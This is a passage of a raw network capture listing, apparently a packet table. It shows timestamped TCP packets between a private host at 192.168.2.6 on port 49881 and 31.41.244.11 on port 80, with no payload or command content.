Dec 19, 2024 16:10:27.818914890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.818986893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.819031954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.819741964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.819789886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.819870949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.819920063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.820743084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.820790052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.820822001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.820866108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.821731091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.821775913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.821867943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.821907997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.822712898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.822757006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.822922945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.822968960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.823662043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.823709965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.823797941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.823838949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.824704885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.824811935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.824836969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.824850082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.825634003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.825684071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.825786114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.825829029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.826590061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.826634884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.826634884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.826675892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.827617884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.827668905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.827814102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.827866077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.828579903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.828627110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.828730106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.828769922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.829595089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.829642057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.829674959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.829718113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.830537081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.830584049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.830674887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.830715895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.831506968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.831556082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.831621885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.831684113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.832463026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.832504988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.832570076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.832614899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.833467007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.833514929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.833555937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.833595991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.834523916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.834567070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.834624052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.834666967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.835500002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.835547924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.835573912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.835617065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.836494923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.836551905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.836591005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.836632967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.837433100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.837481022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.837512970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.837553024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.838392973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.838443995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.838488102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.838534117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.839366913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.839406967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.839445114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.839489937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.840380907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.840429068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.840517998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.840563059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.841358900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.841407061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.841430902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.841475010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.842307091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.842325926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.842353106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.842381001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.843348980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.843393087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.843394041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.843426943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.844342947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.844372988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.844388008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.844398975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.845252037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.845302105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.845366955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.845417023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.846309900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.846358061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.846390963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.846431971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.847282887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.847332954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.847368956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.847413063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.848186970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.848256111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.848265886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.848303080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.849257946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.849299908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.849375010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.849420071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.850191116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.850236893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.850269079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.850306988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.851159096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.851212978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.851244926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.851290941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.852086067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.852133036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.852176905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.852221966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.853080034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.853125095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.853187084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.853228092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.854038000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.854080915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.994870901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.994908094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.994961023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.994988918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.995276928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.995326996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.995414019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.995452881 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.996334076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.996372938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.996437073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.996474028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.997535944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.997576952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.997646093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.997683048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.998380899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.998428106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.998544931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.998584032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.999233007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.999277115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.999321938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.999377012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.000245094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.000287056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.000287056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.000336885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.001185894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.001229048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.001312971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.001351118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.002167940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.002207994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.002274036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.002314091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.003153086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.003196955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.003241062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.003281116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.004187107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.004234076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.004261017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.004302025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.005089998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.005130053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.005146027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.005182981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.006103039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.006148100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.006198883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.006237030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.007112026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.007155895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.007190943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.007236958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.008192062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.008222103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.008239985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.008249998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.009105921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.009147882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.009182930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.009222984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.010067940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.010102034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.010185957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.010227919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.011079073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.011122942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.011208057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.011245012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.012026072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.012064934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.012134075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.012172937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.012937069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.012959003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.012985945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.013000011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.013935089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.013978958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.013999939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.014039993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.014944077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.014981985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.015063047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.015119076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.015913963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.015964985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.016071081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.016120911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.016911030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.016961098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.017170906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.017218113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.017951012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.018004894 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.018033981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.018076897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.018837929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.018879890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.018939972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.018979073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.019862890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.019907951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.019969940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.020009041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.020782948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.020831108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.020898104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.020944118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.021827936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.021882057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.021908998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.021953106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.022838116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.022905111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.022933960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.022979021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.023793936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.023840904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.023998022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.024044991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.024694920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.024744034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.024976015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.025017023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.025728941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.025780916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.025862932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.025916100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.026664972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.026685953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.026719093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.026730061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.027694941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.027748108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.027775049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.027813911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.028717041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.028776884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.028945923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.028995991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.029633045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.029679060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.029701948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.029740095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.030675888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.030726910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.030741930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.030786991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.031800032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.031842947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.031867981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.031909943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.032607079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.032648087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.032677889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.032713890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.033509016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.033548117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.033617020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.033653021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.034518003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.034557104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.034635067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.034672976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.035501003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.035552979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.035603046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.035655022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.036557913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.036602974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.036619902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.036786079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.037425041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.037472963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.037529945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.037574053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.038444042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.038486004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.038553953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.038593054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.039391994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.039438963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.039473057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.039518118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.040405035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.040457010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.040551901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.040590048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.041371107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.041412115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.041560888 CET	80	49881	31.41.244.11	192.168.2.6
